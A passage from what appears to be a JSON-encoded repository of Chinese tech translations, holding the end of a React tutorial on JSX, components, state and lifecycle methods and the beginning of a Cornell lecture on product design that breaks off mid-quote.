);\n}\n\n// 要使用 Button，你可以这么做\nReactDOM.render(\n  React.createElement(Button, { label: \"Save\" }),\n  mountNode\n);\n```\n\n例 2：不使用 JSX 编写 React 组件\n\n在 React 顶级 API 中，`createElement` 函数是主函数。这是你需要学习的 7 个 API 中的 1 个。React 的 API 就是这么小。\n\n就像 DOM 自身有一个 document.createElement 函数来创建一个由标签名指定的元素一样，React 的 `createElement` 函数是一个高级函数，有和 `document.createElement` 同样的功能，但它也可以用于创建一个表示 React 组件的元素。当我们使用上面例 2 中的按钮组件时，我们使用的是后者。\n\n不像 `document.createElement`，React 的 `createElement` 在接收第二个参数后，接收一个动态参数，它表示所创建元素的子元素。所以 `createElement` 实际上创建了一个**树**。\n\n这里就是这样的一个例子：\n\n```js\nconst InputForm = React.createElement(\n  \"form\",\n  { target: \"_blank\", action: \"https://google.com/search\" },\n  React.createElement(\"div\", null, \"Enter input and click Search\"),\n  React.createElement(\"input\", { className: \"big-input\" }),\n  React.createElement(Button, { label: \"Search\" })\n);\n\n// InputForm 使用 Button 组件，所以我们需要这样做：\nfunction Button (props) {\n  return React.createElement(\n    \"button\",\n    { type: \"submit\" },\n    props.label\n  );\n}\n\n// 然后我们可以通过 .render 方法直接使用 InputForm\nReactDOM.render(InputForm, mountNode);\n```\n例 3：React 创建元素的 API\n\n上面例子中的一些事情值得注意：\n\n- `InputForm` 不是一个 React 组件；它仅仅是一个 React **元素**。这就是为什么我们可以在 `ReactDOM.render` 中直接使用它并且可以在调用时不使用 `<InputForm />` 的原因。\n- React.createElement 函数在前两个参数后接收了多个参数。从第3个参数开始的参数列表构成了创建元素的子项列表。\n- 我们可以嵌套 `React.createElement` 调用，因为它是 JavaScript。\n- 当这个元素不需要属性时，React.createElement 的第二个参数可以为空或者是一个空对象。\n- 我们可以在 React 组件中混合 HTML 元素。你可以将 HTML 元素作为内置的 React 组件。\n- React 的 API 试图和 DOM API 一样，这就是为什么我们在 input 元素中使用 `className` 代替 `class` 的原因。我们都希望如果 React 的 API 成为 DOM API 本身的一部分，因为，你知道，它要好得多。\n\n上述的代码是当你引入 React 库的时候浏览器是怎样理解的。浏览器不会处理任何 JSX 业务。然而，我们更喜欢看到和使用 HTML，而不是那些 `createElement` 调用（想象一下只使用 `document.createElement` 构建一个网站！）。这就是 JSX 存在的原因。取代上述调用 `React.createElement` 的方式，我们可以使用一个非常简单类似于 HTML 的语法：\n\n```js\nconst InputForm =\n  <form target=\"_blank\" action=\"https://google.com/search\">\n    <div>Enter input and click Search</div>\n    <input className=\"big-input\" name=\"q\" />\n    <Button label=\"Search\" />\n  </form>;\n\n// InputForm “仍然”使用 Button 组件，所以我们也需要这样。\n// JXS 或者普通的表单都会这样做\nfunction Button (props) {\n  // 这里返回一个 DOM 元素。例如：\n  return <button type=\"submit\">{props.label}</button>;\n}\n\n// 然后我们可以直接通过 .render 使用 InputForm\nReactDOM.render(InputForm, mountNode);\n```\n\n例 4：为什么在 React 中 JSX 受欢迎（和例 3 相比）\n\n注意上面的几件事：\n\n- 这不是 HTML 代码。比如，我们仍然可以使用 `className` 代替 `class`。\n- 我们仍在考虑怎样让上述的 JavaScript 看起来像是 HTML。看一下我在最后是怎样添加的。\n\n我们在上面（例 4）中写的就是 JSX。然而，我们要将编译后的版本（例 3）给浏览器。要做到这一点，我们需要使用一个预处理器将 JSX 版本转换为 `React.createElement` 版本。\n\n这就是 JSX。这是一种折中的方案，允许我们用类似 HTML 的语法来编写我们的 React 组件，这是一个很好的方法。\n\n> “Flux” 在头部作为韵脚来使用，但它也是一个非常受欢迎的 [应用架构](https://facebook.github.io/flux/)，由 Facebook 推广。最出名的是 Redux，Flux 和 React 非常合适。\n\nJSX，可以单独使用，不仅仅适用于 React。\n\n#### 3 你可以在 JavaScript 的任何地方使用 JSX\n\n在 JSX 中，你可以在一对花括号内使用任何 JavaScript 表达式。\n\n```js\nconst RandomValue = () =>\n  <div>\n    { Math.floor(Math.random() * 100) }\n  </div>;\n\n// 使用：\nReactDOM.render(<RandomValue />, mountNode);\n```\n\n例 5：在 JSX 中使用 JavaScript 表达式\n\n任何 JavaScript 表达式可以直接放在花括号中。这相当于在 JavaScript 中插入 `${}` [模板](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)。\n\n这是 JSX 内唯一的约束：只有表达式。例如，你不能使用 `if` 语句，但三元表达式是可以的。\n\nJavaScript 变量也是表达式，所以当组件接受属性列表时（不包括 `RandomValue` 组件，`props` 是可选择的），你可以在花括号里使用这些属性。我们在上述（例 1）的 `Button` 组件是这样使用的。\n\nJavaScript 对象也是表达式。有些时候我们在花括号中使用 JavaScript 对象，这看起来像是使用了两个花括号，但是在花括号中确实只有一个对象。其中一个用例就是将 CSS 样式对象传递给响应中的特殊样式属性：\n\n```js\nconst ErrorDisplay = ({message}) =>\n  <div style={ { color: 'red', backgroundColor: 'yellow' } }>\n    {message}\n  </div>;\n\n// 使用\nReactDOM.render(\n  <ErrorDisplay\n    message=\"These aren't the droids you're looking for\"\n  />,\n  mountNode\n);\n```\n例 6：一个对象传递特殊的 React 样式参数\n\n注意我**解构**的只是在属性参数之外的信息。这只是 JavaScript。还要注意上面的样式属性是一个特殊的属性（同样，它不是 HTML，它更接近 DOM API）。我们使用一个对象作为样式属性的值并且这个对象定义样式就像我们使用 JavaScript 那样（我们可以这样做）。\n\n你可以在 JSX 中使用 React 元素。因为这也是一个表达式（记住，一个 React 元素只是一个函数调用）：\n\n```js\nconst MaybeError = ({errorMessage}) =>\n  <div>\n    {errorMessage && <ErrorDisplay message={errorMessage} />}\n  </div>;\n\n// MaybeError 组件使用 ErrorDisplay 组件\nconst ErrorDisplay = ({message}) =>\n  <div style={ { color: 'red', backgroundColor: 'yellow' } }>\n    {message}\n  </div>;\n\n// 现在我们使用 MaybeError 组件：\nReactDOM.render(\n  <MaybeError\n    errorMessage={Math.random() > 0.5 ? 'Not good' : ''}\n  />,\n  mountNode\n);\n```\n\n例 7：一个 React 元素是一个可以通过 {} 使用的表达式\n\n上述 `MaybeError` 组件只会在有 `errorMessage` 传入或者另外有一个空的 `div` 才会显示 `ErrorDisplay` 组件。React 认为 `{true}`、 `{false}`\n`{undefined}` 和 `{null}` 是有效元素，不呈现任何内容。\n\n我们也可以在 JSX 中使用所有的 JavaScript 的集合方法（`map`、`reduce` 、`filter`、 `concat` 等）。因为他们返回的也是表达式：\n\n```js\nconst Doubler = ({value=[1, 2, 3]}) =>\n  <div>\n    {value.map(e => e * 2)}\n  </div>;\n\n// 使用下面内容 \nReactDOM.render(<Doubler />, mountNode);\n```\n\n例 8：在 {} 中使用数组\n\n请注意我是如何给出上述 `value` 属性的默认值的，因为这全部都只是 JavaScript。注意我只是在 div 中输出一个数组表达式。React 是完全可以的。它只会在文本节点中放置每一个加倍的值。\n\n#### 4 你可以使用 JavaScript 类写 React 组件\n\n简单的函数组件非常适合简单的需求，但是有的时候我们需要的更多。React 也支持通过使用 [JavaScript 类](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)来创建组件。这里 `Button` 组件（在例 1 中）就是使用类的语法编写的。\n\n```js\nclass Button extends React.Component {\n  render() {\n    return <button>{this.props.label}</button>;\n  }\n}\n\n// 使用（相同的语法）\nReactDOM.render(<Button label=\"Save\" />, mountNode);\n```\n\n例 9：使用 JavaScript 类创建组件\n\n类的语法是非常简单的：定义一个扩展的 `React.Component` 类（另一个你需要学习的 React 的顶级 API）。该类定义了一个单一的实例函数 —— `render()`，并使函数返回虚拟 DOM 对象。每一次我们使用基于类的 `Button` 组件（例如，通过 `<Button ... />`）,React 将从这个基于类的组件中实例化对象，并在 DOM 树中使用该对象。\n\n这就是为什么上面的例子中我们可以在 JSX 中使用 `this.props.label` 渲染输出的原因，因为每一个组件都有一个特殊的称为 `props` 的 **实例** 属性，这让所有的值传递给该组件时被实例化。\n\n由于我们有一个与组件的单个使用相关联的实例，所以我们可以按照自己的意愿定制该实例。例如，我们可以通过使用常规 JavaScript 构造函数来构造它：\n\n```js\nclass Button extends React.Component {\n  constructor(props) {\n    super(props);\n    this.id = Date.now();\n  }\n  render() {\n    return <button id={this.id}>{this.props.label}</button>;\n  }\n}\n\n// 使用\nReactDOM.render(<Button label=\"Save\" />, mountNode);\n```\n\n例 10：自定义组件实例\n\n我们也可以定义类的原型并且在任何我们希望的地方使用，包括在返回的 JSX 输出的内部：\n\n```js\nclass Button extends React.Component {\n  clickCounter = 0;\n\n  handleClick = () => {\n    console.log(`Clicked: ${++this.clickCounter}`);\n  };\n\n  render() {\n    return (\n      <button id={this.id} onClick={this.handleClick}>\n        {this.props.label}\n      </button>\n    );\n  }\n}\n\n// 使用\nReactDOM.render(<Button label=\"Save\" />, mountNode);\n```\n\n例 11：使用类的属性（通过单击保存按钮进行测试）\n\n注意上述例 11 中的几件事情\n\n- `handleClick` 函数使用 JavaScript 新提出的 [class-field syntax](https://github.com/tc39/proposal-class-fields) 语法。这仍然是 stage-2，但是这是访问组件安装实例（感谢箭头函数）最好的选择（因为很多原因）。然而，你需要使用类似 Babel 的编译器解码为 stage-2（或者仅仅是类字段语法）来让上述代码工作。 jsComplete REPL 有预编译功能。\n\n```js\n// 错误：\nonClick={this.handleClick()}\n\n// 正确：\nonClick={this.handleClick}\n```\n\n#### 5 React 中的事件：两个重要的区别\n\n当处理 React 元素中的事件时，我们与 DOM API 的处理方式有两个非常重要的区别：\n\n- 所有 React 元素属性（包括事件）都使用 **camelCase** 命名，而不是 **lowercase**。例如是 `onClick` 而不是 `onclick`。\n- 我们将实际的 JavaScript 函数引用传递给事件处理程序，而不是字符串。例如是 `onClick={handleClick}` 而不是 `onClick=\"handleClick\"`。\n\nReact 用自己的对象包装 DOM 对象事件以优化事件处理的性能，但是在事件处理程序内部，我们仍然可以访问 DOM 对象上所有可以访问的方法。React 将经过包装的事件对象传递给每个调用函数。例如，为了防止表单提交默认提交操作，你可以这样做：\n\n\n```js\nclass Form extends React.Component {\n  handleSubmit = (event) => {\n    event.preventDefault();\n    console.log('Form submitted');\n  };\n\n  render() {\n    return (\n      <form onSubmit={this.handleSubmit}>\n        <button type=\"submit\">Submit</button>\n      </form>\n    );\n  }\n}\n\n// 使用\nReactDOM.render(<Form />, mountNode);\n```\n\n例 12：使用包装过的对象\n\n#### 6 每一个 React 组件都有一个故事：第 1 部分\n\n以下仅适用于类组件（扩展 `React.Component`）。函数组件有一个稍微不同的故事。\n\n1. 首先，我们定义了一个模板来创建组件中的元素。\n2. 然后，我们在某处使用 React。例如，在 `render` 内部调用其他的组件，或者直接使用 `ReactDOM.render`。\n3. 然后，React 实例化一个对象然后给它设置 **props** 然后我们可以通过 `this.props` 访问。这些属性都是我们在第 2 步传入的。\n4. 因为这些全部都是 JavaScript，`constructor` 方法将会被调用（如果定义的话）。这是我们称之为的第一个：**组件生命周期方法**。\n5. 接下来 React 计算渲染之后的输出方法（虚拟 DOM 节点）。\n6. 因为这是 React 第一次渲染元素，React 将会与浏览器连通（代表我们使用 DOM API）来显示元素。这整个过程称为 **mounting**。\n7. 接下来 React 调用另一个生命周期函数，称为 `componentDidMount`。我们可以这样使用这个方法，例如：在 DOM 上做一些我们现在知道的在浏览器中存在的东西。在此生命周期方法之前，我们使用的 DOM 都是虚拟的。\n8. 一些组件的故事到此结束，其他组件得到卸载浏览器 DOM 中的各种原因。在后一种情况发生时，会调用另一个生命周期的方法，`componentWillUnmount`。\n9. 任何 mounted 的元素的**状态**都可能会改变。该元素的父级可能会重新渲染。无论哪种情况，mounted 的元素都可能接收到不同的属性集。React 的魔力就是这儿，我们实际上需要的正是 React 的这一点！在这一点之前，说实话，我们并不需要 React。\n10. 组价的故事还在继续，但是在此之前，我们需要理解我所说的这种**状态**。\n\n#### 7 React 组件可以具有私有状态\n\n以下只适用于类组件。我有没有提到有人叫表象而已的部件 **dumb**？\n\n状态类是任何 React 类组件中的一个特殊字段。React 检测每一个组件状态的变化，但是为了 React 更加有效，我们必须通过 React 的另一个 API 改变状态字段，这就是我们要学习的另一个 API —— `this.setState`：\n\n\n```js\nclass CounterButton extends React.Component {\n  state = {\n    clickCounter: 0,\n    currentTimestamp: new Date(),\n  };\n\n  handleClick = () => {\n    this.setState((prevState) => {\n     return { clickCounter: prevState.clickCounter + 1 };\n    });\n  };\n\n  componentDidMount() {\n   setInterval(() => {\n     this.setState({ currentTimestamp: new Date() })\n    }, 1000);\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.handleClick}>Click</button>\n        <p>Clicked: {this.state.clickCounter}</p>\n        <p>Time: {this.state.currentTimestamp.toLocaleString()}</p>\n      </div>\n    );\n  }\n}\n\n// 使用\nReactDOM.render(<CounterButton />, mountNode);\n```\n\n例 13：setState 的 API\n\n这可能是最重要的一个例子因为这将是你完全理解 React 基础知识的方式。这个例子之后，还有一些小事情需要学习，但从那时起主要是你和你的 JavaScript 技能。\n\n让我们来看一下例 13，从类开始，总共有两个，一个是一个初始化的有初始值为 `0` 的 `clickCounter` 对象和一个从 `new Date()` 开始的 `currentTimestamp`。\n\n另一个类是 `handleClick` 函数，在渲染方法中我们给按钮元素传入 `onClick` 事件。通过使用 `setState` 的 `handleClick` 方法修改了组件的实例状态。要注意到这一点。\n\n另一个我们修改状态的地方是在一个内部的定时器，开始在内部的 `componentDidMount` 生命周期方法。它每秒钟调用一次并且执行另一个函数调用 `this.setState`。\n\n在渲染方法中，我们使用具有正常读语法的状态上的两个属性（没有专门的 API）。\n\n现在，注意我们更新状态使用两种不同的方式： \n\n1. 通过传入一个函数然后返回一个对象。我们在 `handleClick` 函数内部这样做。\n2. 通过传入一个正则对象，我们在在区间回调中这样做。\n\n这两种方式都是可以接受的，但是当你同时读写状态时，第一种方法是首选的（我们这样做）。在区间回调中，我们只向状态写入而不读它。当有问题时，总是使用第一个函数作为参数语法。伴随着竞争条件这更安全，因为 `setstate` 实际上是一个异步方法。\n\n我们应该怎样更新状态呢？我们返回一个有我们想要更新的值的对象。注意，在调用 `setState` 时，我们全部都从状态中传入一个属性或者全都不。这完全是可以的因为 `setState` 实际上 **合并** 了你通过它（返回值的函数参数）与现有的状态，所以，没有指定一个属性在调用 `setState` 时意味着我们不希望改变属性（但不删除它）。\n\n[![](https://ws4.sinaimg.cn/large/006tNc79gy1fi6sqg2ygbj31320dawg9.jpg)](https://twitter.com/samerbuna/status/870383561983090689)\n\n#### 8 React 将要反应\n\nReact 的名字是从状态改变的**反应**中得来的（虽然没有反应，但也是在一个时间表中）。这里有一个笑话，React 应该被命名为**Schedule**！\n\n然而，当任何组件的状态被更新时，我们用肉眼观察到的是对该更新的反应，并自动反映了浏览器 DOM 中的更新（如果需要的话）。\n\n将渲染函数的输入视为两种：\n- 通过父元素传入的属性\n- 以及可以随时更新的内部私有状态\n\n当渲染函数的输入改变时，输出可能也会改变。\n\nReact 保存了渲染的历史记录，当它看到一个渲染与前一个不同时，它将计算它们之间的差异，并将其有效地转换为在 DOM 中执行的实际 DOM 操作。\n\n#### 9 React 是你的代码\n\n您可以将 React 看作是我们用来与浏览器通信的代理。以上面的当前时间戳显示为例。取代每一秒我们都需要手动去浏览器调用 DOM API 操作来查找和更新 `p#timestamp` 元素，我们仅仅改变组件的状态属性，React 做的工作代表我们与浏览器的通信。我相信这就是为什么 React 这么受欢迎的真正原因；我们只是不喜欢和浏览器先生谈话（以及它所说的 DOM 语言的很多方言），并且 React 自愿传递给我们，免费的！\n\n#### 10 每一个 React 组件都有一个故事：第 2 部分\n\n现在我们知道了一个组件的状态，当该状态发生变化的时候，我们来了解一下关于这个过程的最后几个概念。\n\n\n1. 当组件的状态被更新时，或者它的父进程决定更改它传递给组件的属性时，组件可能需要重新渲染。\n2. 如果后者发生，React 会调用另一个生命周期方法：`componentWillReceiveProps`。\n3. 如果状态对象或传递的属性改变了，React 有一个重要的决定要做：组件是否应该在 DOM 中更新？这就是为什么它调用另一个重要的生命周期方法 `shouldComponentUpdate` 的原因 。此方法是一个实际问题，因此，如果需要自行定制或优化渲染过程，则必须通过返回 true 或 false 来回答这个问题。\n4. 如果没有自定义 `shouldComponentUpdate`，React 的默认事件在大多数情况下都能处理的很好。\n5. 首先，这个时候会调用另一生命周期的方法：`componentWillUpdate`。然后，React 将计算新渲染过的输出，并将其与最后渲染的输出进行对比。\n6. 如果渲染过的输出和之前的相同，React 不进行处理（不需要和浏览器先生对话）。\n7. 如果有不同的地方，React 将不同传达给浏览器，像我们之前看到的那样。\n8. 在任何情况下，一旦一个更新程序发生了，无论以何种方式（即使有相同的输出），React 会调用最后的生命周期方法：`componentDidUpdate`。\n\n生命周期方法是逃生舱口。如果你没有做什么特别的事情，你可以在没有它们的情况下创建完整的应用程序。它们非常方便地分析应用程序中正在发生的事情，并进一步优化 React 更新的性能。\n\n---\n\n信不信由你，通过上面所学的知识（或部分知识），你可以开始创建一些有趣的 React 应用程序。如果你渴望更多，看看我的 [**Pluralsight 的 React.js 入门课程**](https://www.pluralsight.com/courses/react-js-getting-started?aid=701j0000001heIoAAI&amp;promo=&amp;oid=&amp;utm_source=google&amp;utm_medium=ppc&amp;utm_campaign=US_Dynamic&amp;utm_content=&amp;utm_term=&amp;gclid=CNOAj_2-j9UCFUpNfgod4V0Fdg)。\n\n**感谢阅读。如果您觉得这篇文章有帮助，请点击原文中的 💚。请关注我的更多关于 React.js 和 JavaScript 的文章**。\n\n---\n\n我 [Pluralsight](https://app.pluralsight.com/profile/author/samer-buna) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 创建了在线课程。我最新的文章在[Advanced React.js](https://www.pluralsight.com/courses/reactjs-advanced)、 [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) 和  [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)中。我也做小组的在线和现场培训，覆盖初级到高级的 JavaScript、 Node.js、 React.js、GraphQL。如果你需要一个导师，[请来找我](mailto:samer@jscomplete.com) 。如果你对此篇文章或者我写的其他任何文章有疑问，[通过这个联系我](https://slack.jscomplete.com/)，并且在 #questions 中提问。\n\n---\n\n感谢很多检验和改进这篇文章的读者，Łukasz Szewczak、Tim Broyles、 Kyle Holden、 Robert Axelse、 Bruce Lane、Irvin Waldman 和 Amie Wilt.\n\n特别要感谢“惊人的” [Amie](https://www.linkedin.com/in/amiewilt/)，经验是一个实际的 [Unicorn](https://medium.com/@katherinemartinez/the-unicorn-hybrid-designer-developer-5e89607d5fe0)。谢谢你所有的帮助，Anime，真的非常感谢你。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/lecture-1-what-is-product-design.md",
    "content": ">* 原文链接 : [What is Product Design?](https://medium.com/intro-to-digital-product-design/lecture-1-what-is-product-design-c290bfe799a9#.ctnank1m1)\n* 原文作者 : [Andrew Aquino](https://medium.com/@andrewaquino)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhangjd](https://github.com/zhangjd)\n* 校对者: [hikerpig](https://github.com/hikerpig), [joyking7](https://github.com/joyking7)\n\n![](https://cdn-images-1.medium.com/max/2000/1*kOx2oUFQrrXhbUF9CMQHog.jpeg) \n\n# 什么是产品设计?\n\n_这篇文章是对 CUAppDev 在康奈尔大学主办的 Intro to Digital Product Design 课程的总结记录。这门课程是1学分的，时间每周一 5:30PM 到 6:30PM，地点 Phillips 203。_\n\n### 什么是好的设计?\n\nCraigslist 以其美学标准而闻名，和今天的扁平风格 UI 与巨大的首图相比，Craigslist 的审美看起来似乎有点老了。但是，问题来了：\n\n> Craigslist 是不是好的设计?\n\n许多人很快会说，Craigslist 的设计既过时又杂乱，因此是坏的设计。可是，有什么指标可以证明这个观点呢？Craigslist 每个月可是有 500 亿 PV 呢。\n\n尽管直觉上感觉是那样，但 Craigslist 确实成功了 - 事实上它是挺好用的。大部分用户在寻找特定分类和进行买卖等操作时，都不会有太大的困难。\n\n好的用户界面和好的用户体验是有区别的。尽管 Cragslist 用户界面过时，但更重要的是它有很棒的用户体验。这就是为什么我们可以认为 Craigslist 拥有良好的设计。\n\n![](https://cdn-images-1.medium.com/max/800/1*flGQAGbkERLU7wOQKiImnw.jpeg) \n\n### 所以，到底什么是产品设计?\n\n产品设计离不开解决问题，而产品设计师追求的是提高产品的体验。并且，他们还要懂得通过运用许多技能来完成这一目标：动画、原型、编程、调查、视觉设计、交互设计、心理学以及经营策略 ([Eric Eriksson](https://medium.com/@ericeriksson)).\n\n> “如果你只把产品设计师视作一种把方案设计得可以见人的职业，请重新思考。产品设计师是帮你识别、调查和验证问题的，并最终精巧地制作、设计、测试和完成整个解决方案的。” — Eric Eriksson\n\n以下四个例子，可以让你浅尝到当一个产品设计师的体验：\n\n**产品设计师探索解决方案。**\n\n你所看见的 Slack 用户界面会是完全不同的。设计师在解决问题的时候，不应该只考虑单个用户或是经理的需求，而是应该探索不同的可能性。\n\n![](https://cdn-images-1.medium.com/max/600/1*B4GBOSHIt1Ws6W_T3R6eag.jpeg) \n\n![](https://cdn-images-1.medium.com/max/600/1*eTkC_l2vUaYuStgBQoRoNA.jpeg) \n\n**产品设计师验证解决方案。**\n\n古怪的服装品牌，[Betabrand](http://betabrand.com)，想要测试一个问题：胡须的长度是否会影响广告的点击率。\n\n于是他们就着手测试了不同的广告，这些广告都用了同一个模特，只是胡子的长度从短到长分为多个等级。_他们发现了什么呢？_ 经过他们的分析，胡子长度最长的广告，点击率几乎提升了两倍。\n\n![](https://cdn-images-1.medium.com/max/600/1*-_h5Losqn2mtA4emTxDqdw.jpeg) \n\n![](https://cdn-images-1.medium.com/max/600/1*bLP2bqxfZv4RNyO-OwAgeQ.jpeg) \n\n**产品设计师发现真正问题。**\n\n每个人都想要一个“不喜欢”的按钮，不管是为了反感讨厌的政治文章，还是在 WorldStar 视频中提出反对意见，抑或是在灾害时表达悲伤。可是，你是否可以想象到因为某人可能不喜欢而害怕发表内容的情形？不喜欢按钮引起的新问题可能比解决的问题还多；它会使 Facebook 变成一个更容易受到消极影响的地方。\n\n设计师发现，真实问题并不是缺少一个不喜欢按钮，而是 [生活中的每样东西并非都是可以点赞的](https://medium.com/facebook-design/reactions-not-everything-in-life-is-likable-5c403de72a3f#.lu650bnu7), 因此: 有了 Facebook reactions（反应按钮）。\n\n![](https://cdn-images-1.medium.com/max/600/1*0NvkunCJ6HWa3JfzDgflbQ.jpeg) \n\n![](https://cdn-images-1.medium.com/max/600/1*eQK9fd_TEayTt8Wvox6m8w.jpeg) \n\n**产品设计师做必要的事情。**\n\n设计并不总是要最简化的，Google 就在登录过程里添加了一个额外步骤。Google 这样做是为了消除那些使用多重账号的人的疑虑，并为他们准备了新的验证解决方案。虽然这样的解决方案让一个简单的任务变得更加复杂，但却是符合他们的业务约束与用户目标的。这个解决方案虽然不是最简化的，但却是相当有必要的。\n\n ![](https://cdn-images-1.medium.com/max/600/1*kJW8OR5BfoPnTN0-Qdhj0Q.jpeg) \n\n![](https://cdn-images-1.medium.com/max/600/1*6yyZLQFU98Yygt9CpIm3JQ.jpeg) \n\n### 好的产品设计，关键是什么?\n\n ![](https://cdn-images-1.medium.com/max/800/1*uTDWovhGf6miGk_MSRYmTg.png) \n\n<figcaption>这是转述自 Elements of User Experience 作者 Jesse James Garrett 的一个图表。图片创作者未知（如果有人知道，请联系我）。</figcaption>\n\n设计不仅要处理视觉设计，还要处理用户体验的几个层面。这些层面上的设计可以通过一个 **设计流程** 来实现。\n\n在这个流程中，会考虑以下这些方面：制定处理用户需求的策略，限定需要呈现的内容，并描绘出用户需要哪些步骤去实现一个目标。\n\n> “但我只想要把样子变得更好看呀。”\n\n这是一个常见的观点。可是，这些目光短浅的目标，甚至会伤害最好的、最创新的 idea, 因为...\n\n>![](https://cdn-images-1.medium.com/max/800/1*m4-53lKUMg6R_Ek8rXaB9Q.jpeg) \n\n一个好的美术设计不能弥补一个坏的产品。如果你让一个设计师只管把产品变得好看，那就错了。你怎么知道你的产品是否确实在解决问题？\n\n无论是设计师、开发者还是产品经理做的设计决策，都需要有一个评价标准。他必须从人类第一的角度来看，思考整个产品的方方面面。\n\n> _过程来自于同理心_\n\n同理心即你对用户的关怀。作为一个设计师，你必须想要提供最佳的用户体验可能。**设计流程**让你不遗余力地考虑方方面面，从而来完成这个目标。(Jared Erondu)\n\n![](https://cdn-images-1.medium.com/max/2000/1*ZoU6Z_tuuKSIYtjZnHHydg.jpeg) \n\n### 课程总览\n\n#### 你将学到什么？\n\n1.  如何确定问题。\n2.  如何探索问题。\n3.  并如何验证问题。\n4.  如何做视觉设计。\n5.  如何呈现设计。\n\n没有官方的教学大纲。本课程随着班级的进度灵活教学。\n\n#### 你将如何学习?\n\n**课程结构**\n\n这门课会更加传统，但班级通常由小讨论、工具示范、项目走查等组成。\n\n**等级评定**\n\n1.  来上课：你可以有两次无故缺席的机会。\n2.  按时交作业。\n\n**课程项目**\n\n你可以挑选一个问题，然后发现解决方案，作为一个学习案例提交上来。例如：[http://www.teehanlax.com/story/medium/](http://www.teehanlax.com/story/medium/)\n\n*   每次发布作业都算进这个课程项目。\n\n**任务**\n\n你必须把这两者都提交到 Facebook Group.\n\n1.  发布作业：这些作业可能不尽相同，但都要在下次课的前一个星期天之前提交。\n2.  Weekly UI (选做) : _这些是 DailyUI 的一个拆分_. Weekly UI 的目的是可以不受约束地练习视觉设计.\n\n![](https://cdn-images-1.medium.com/max/800/1*zFimCaH0gGaeYjJ1WVFoSA.png) \n\n<figcaption>[Ranjith Alingal](https://dribbble.com/ranjithalingal) 设计的 Nike 卡片</figcaption>\n\n是的，WeeklyUI 是可选做的作业。可是，想要提高视觉设计的水平，唯一途径还是要练习。\n\n> **“只有通过进行大量的工作，你才能缩小差距，你的作品才能配得上你所追求的目标。” — Ira Glass**\n\n<iframe src=\"https://player.vimeo.com/video/85040589?color=1fc9a2&portrait=0\" width=\"500\" height=\"281\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>\n\n**课程工具**\n\n**Piazza** 用于组织工作和提问。演讲的幻灯片也会被传到 Piazza。\n\n**Facebook Group** 用在你的上传作业，同伴、推动人反馈意见，以及其它资源。_我们决定使用 Facebook Group ，是因为公开分享你的作品是很重要的。_\n\n**Medium** 讲座记录会放在 Medium 收藏中。\n\n**扩展资源**\n\n**办公时间** 在周三 11:00–12:00PM, 周三 1:30PM-2:30PM, 周五 10:00PM-11:00PM\n\n**一对一辅导** 将被安排用于讨论进度\n\n**午餐** 安排在周一 12:00 到 1:00PM. 这些时间可以用来反馈、提意见等。\n\n**你需要的软件 (选择以下一项或多项)**\n\n*   Photoshop (20$/月, Adobe CC 版本)\n*   Illustrator (20$/月, Adobe CC 版本)\n*   Sketch ($40 学生优惠价)\n*   _你可以使用的其他设计程序。_\n\n#### 这对你有什么好处?\n\n**经验** 当你结课时，你将获得一个完整的产品学习经验，更加熟悉设计工具。除此之外，你将可以更容易地和产品经理、设计师、客户以及其他利益相关者进行沟通。\n\n**产品设计思想** 可以转换到数字产品之外的任何地方。比如，产品设计可以用在键盘的物理布局，或者作为决策相关的，比如组织一个课室。总之，这个框架可以帮助你验证任何你所需要做的决定。\n\n#### 这对我们有什么好处?\n\n![](https://cdn-images-1.medium.com/max/400/1*YVdmW91Yui8R8kQcEqLoPA.jpeg) \n\n![](https://cdn-images-1.medium.com/max/400/1*3kR4zl51bZuq27w1Yp4cJQ.jpeg) \n\n![](https://cdn-images-1.medium.com/max/400/1*CnkBQkmVFik5V-PajgRJug.jpeg) \n\n我确定你曾经听过人们这样讲过：“_我在工作的地方学习了我所知道的所有东西。_” 和 “_我不会使用我在学校里学到的任何东西_”。这里的争论是，教育的目的是为了最大化接触，而不是应用技能，因此我们在设计上的要求是有所不同的。\n\nCornell 的目的不是在迎合设计工作的具体需求。这是因为教育是滞后于产业的。你可能要等一段时间才能看到类似于 iOS 开发，内容运营，前端框架之类的新课程。\n\n这有时会让我们流失一些学生，因为他们的求知欲在有限学时里不能得到满足。有些设计师因为从未耳闻“产品设计师”而转学其他专业，对我们来说，是个很大的问题。\n\n因此，我们的解决方案是，在我们都满怀热情的地方填补一个重大空白：设计。\n\n#### 这对每个人有什么好处?\n\n_下面是改编自 Stephanie Engle 的一篇[关于产品设计的介绍](https://medium.com/p/c2dbbc7809d3)，他提出了一个关于理解产品设计的优秀的论据。_\n\n那些缺乏以用户为中心的设计，影响着人们每一天的生活，并或多或少导致失意与挫败的情绪。\n\n![](https://cdn-images-1.medium.com/max/600/1*R4p2RGfzyDRGg-2WyhJ4CA.jpeg) \n\n![](https://cdn-images-1.medium.com/max/600/1*sNkNpmrVuz2tXxcyzPCoLg.jpeg) \n\n然而，更糟糕的设计甚至会夺走人的生命。 ([Stephanie Engle](https://medium.com/hh-design/intro-to-product-design-c2dbbc7809d3)).\n\n> **“Jenny 死于中毒和脱水。全因为照顾她那位老练的护士一直在花时间操作这个界面。” — **[Jonathan 